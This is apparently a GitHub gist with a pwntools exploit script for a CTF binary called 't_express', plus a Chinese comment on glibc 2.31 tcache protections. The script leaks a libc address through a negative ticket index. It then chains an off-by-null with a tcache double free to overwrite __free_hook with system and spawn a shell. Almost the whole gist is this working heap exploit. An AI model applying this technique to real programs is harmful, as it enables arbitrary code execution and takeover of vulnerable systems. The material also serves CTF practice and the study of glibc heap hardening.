Skip to content

Instantly share code, notes, and snippets.

@Mech0n
Last active August 18, 2020 08:34
Show Gist options
  • Save Mech0n/949aec36d0682db9b8636e16f3c9b6a9 to your computer and use it in GitHub Desktop.
Save Mech0n/949aec36d0682db9b8636e16f3c9b6a9 to your computer and use it in GitHub Desktop.
Off-by-null && glibc2.31 tcache-double-free
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64' , os = 'linux', log_level='debug')
p = process('./t_express')
libc = ELF('libc.so.6')
def debug(p, cmd):
gdb.attach(p, cmd)
pause()
def add_1(First, Last):
p.sendlineafter('choice: ', str(1))
p.sendlineafter('(1/2):', str(1))
p.sendafter('First name: ', First)
p.sendafter('Last name: ', Last)
def add_2(First, Last):
p.sendlineafter('choice: ', str(1))
p.sendlineafter('(1/2):', str(2))
p.sendafter('First name: ', First)
p.sendafter('Last name: ', Last)
def show(idx):
p.sendlineafter('choice: ', str(2))
p.sendlineafter('Index of ticket: ', str(idx))
def delete_2(idx, ty):
p.sendlineafter('choice: ', str(3))
p.sendlineafter('Index of ticket: ', str(idx))
p.sendlineafter('(1/2/3/4):', str(ty))
def delete_1(idx):
p.sendlineafter('choice: ', str(3))
p.sendlineafter('Index of ticket: ', str(idx))
def leak():
show(-6) #stdin
p.recvuntil('|name |')
stdin = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 131
libc.address = stdin - 0x1eb980
success('LEAK: ' + str(hex(stdin)))
success('LIBC: ' + str(hex(libc.address)))
pause()
add_1('mech0n\n', '/bin/sh\x00') # 0
add_1('mech0n\n', 'mech0n\n') # 1
add_1('/bin/sh\x00', '/bin/sh\n') # 2
delete_1(1)
delete_2(0, 4)
delete_1(1)
delete_2(0, 4)
delete_1(1)
malloc_hook = libc.sym['__malloc_hook']
free_hook = libc.sym['__free_hook']
system = libc.sym['system']
add_1(p64(free_hook), p64(free_hook))
add_1('mech0n\n', 'mech0n\n')
add_1(p64(system), p64(system))
p.interactive()
if __name__ == "__main__":
leak()
@Mech0n
Copy link
Author

Mech0n commented Aug 18, 2020

GlLibc2.31有两个地方需要注意:

  • 2.29之后,tcache结构体里加了一个key字段。在free的时候会去检查
typedef struct tcache_entry
{
  struct tcache_entry *next;
/* This field exists to detect double frees.  */
  struct tcache_perthread_struct *key;
} tcache_entry;

free():
if (__glibc_unlikely (e->key == tcache))
{
    tcache_entry *tmp;
    LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
    for (tmp = tcache->entries[tc_idx];
         tmp;
         tmp = tmp->next)
        if (tmp == e)
            malloc_printerr ("free(): double free detected in tcache 2");
/* If we get here, it was a coincidence.  We've wasted a
few cycles, but don't abort.  */
}
  • 第二点是在取出tcache的时候,多了个检测,如果某个bin计数为0,则不会再去里面取chunk。

__libc_malloc()

  if (tc_idx < mp_.tcache_bins
      && tcache
      && tcache->counts[tc_idx] > 0)
    {
      return tcache_get (tc_idx);

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment